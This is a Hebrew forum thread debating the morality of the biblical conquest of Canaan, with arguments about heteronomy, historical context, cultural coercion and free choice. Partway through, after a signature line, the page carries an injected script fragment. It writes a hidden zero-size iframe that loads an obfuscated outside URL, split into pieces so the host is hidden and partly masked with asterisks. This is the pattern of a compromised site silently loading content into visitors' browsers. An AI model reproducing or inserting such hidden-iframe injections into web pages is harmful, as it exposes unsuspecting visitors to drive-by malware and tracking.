לסטים אתם?

הבה נחזור לנושא.

וברשוכתם, אני מבקש לחדד ולהבהיר מה הן השאלות.

קודם כל הנתונים:

לפי המקרא, עם ישראל חדר לארץ וכבש שטחים, הרס ערים והרג המון בני אדם.

לפי הפרשנות המקובלת אצלנו שצוטטה לעיל, המנהיג, יהושע, קדם והציע להם כניעה וקבלת מצוות או בריחה. הם דחו.

עכשו השאלה היא: האם זה היה מוצדק.

אמנם, ייתכן כתב שלא זו השאלה כי זה כבר עלה בדיון על בן המאה ה21 שנתקל בבעיה מוסרית בתורה. אני איני מבין מדוע. אפשר לדון פה ואפשר לדון שם. זה לא בדיוק אותו דבר.

עוד שאל ייתכן מה היינו עונים לכנעני.

אני כתבתי שיש כאן בעיה אמיתית. לפי הערכים שלנו כיבוש ארץ והשמדת עממים אלו פעולות אסורות. מאד.

איש ציפור (ואחרים מן הסתם, ואני בהסתייגות מסויימת) הציע שהתורה היא הטרונומית (=כפופה לנותן ולא לערכים) ולכן אין כאן שאלה.

כלומר, אין לצפות מהתורה למוסריות אלא אם כן נותן התורה רוצה בכך. ושם לא רצה. 

התירוץ הזה עונה על השאלה אבל הוא עולה בתג מחיר. המחיר הוא לוותר על המוסריות. למשל, האם אברהם אבינו, זה ששאל "השופט כל הארץ לא יעשה משפט", האם הוא היה מסכים להרוס את יריחו ולהרוג את הילדים שבה?

יש לשים לב שייתכנו כאן כמה כיווני תשובה שמעוררים שאלות אחרות:

1. מה עוד יכל עם ישראל לעשות כדי למצוא ארץ או להתיישב בארץ ישראל מעבר למה שנעשה בפועל, כלומר כיבוש ערים?

2. העממים היו חוטאים מבחינת אמונותיהם והנהגותיהם ולכן היו חייבים מיתה.

3. השארת עם ישראל בארץ ישראל לצד עממים היתה מדרדרת אותם, כפי שאכן קרה למרות השמדת חלק מהעממים (רק לדמיין מה היה קורה אילו היו מתערים בין היושבים בארץ).

היו נסיונות נוספים לתשובה:

4. הארץ היתה שייכת כל הזמן לעם ישראל, רק שהיושבים בה לא ידעו זאת. או אולי כן ידעו זאת והתעלמו מזה?

5. בעולם של אז, כיבוש בידי עם שמגיע מבחוץ לא נחשב לפסול.

6. אי אפשר היה לצפות מעם ישראל לבנות את עצמו בארץ ישראל בלי לפעול בכוח עד השמדה נגד העממים. לפעמים המטרה מחייבת אמצעים כאלו או אחרים, גם אם הם נראים קשים.

(האם תשובות אלו עונות על השאלה? ושוב: מה היתה השאלה?).

***

שותף סוד

טול חופן איקונים ירוקים על תשובתך המופלאה שאתה נתת ונותן את חייך, וחיי ילדיך, על אמונתך ביהדות. יש בינינו חילוקי דעות רבים ויסודיים, אבל בדבר הזה אני מסכים איתך ויכול רק להתפעל ממך.

***
איש ציפור

מי שרוצה לענות לשאלותיו של ייתכן צריך להתאמץ. לשלוח אותו בחזרה לחיידר בלי לציין לאיזו כיתה ולאיזה שיעור ומה ילמדו שם - קשה לראות בכך תשובה. אולי זה נסיון לסתימת פיות. כך זה בעיני הצופה מן הצד, כמוני. ואני דווקא כן מחפש תשובה לשאלותיו של ייתכן. אני גם סבור שהוא רוצה תשובה וכואב לו שאין לו. (ואם זה כואב ואכפת לו, אז כבר הכל בסדר, כמו בסיפור על הרבי מקאצק שאני אוהב לצטט).

__________נוספו כמה מילות הבהרה_______

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

איש,

מחמת אי הקפדתך על הפרדת כל טיעון לגופו קשה לי קצת להתייחס לכל הנאמר. אני מרשה לעצמי להתייחס לחלק מהדברים. אתייחס בשמחה לכל טיעון ברור וממוקד.

כתבת, זו כפיה תרבותית, בדיוק כמו זו שאתה ורבים אחרים מנסים להנחיל לנו בשם הדמוקרטיה הנאורות ועוד סיסמאות שנשמעות יפה בעינכם,

נניח שאני מסכים אתך. מה דעתך להפריד ולהבדיל בין "כפיה תרבותית" לבין "להנחיל" על ידי הסברה ואפילו תעמולה?

יש לך דוגמאות לכפיית ערכים בכוח על ידי בעלי תפיסה דמוקרטית הומניסטית?

אצלנו בחירה חופשית היא ערך שלא כמו אצלכם.

לדעתך, ציות עיוור לכתבי הקודש משקף בחירה חופשית יותר מהליכה אחר ההיגיון והשכל?

מקס,

דייר הזכירני כי אפילו קבר אברהם נאלץ לקנות מבני חת ואתה טוען כי הוא שלט על כל הארץ?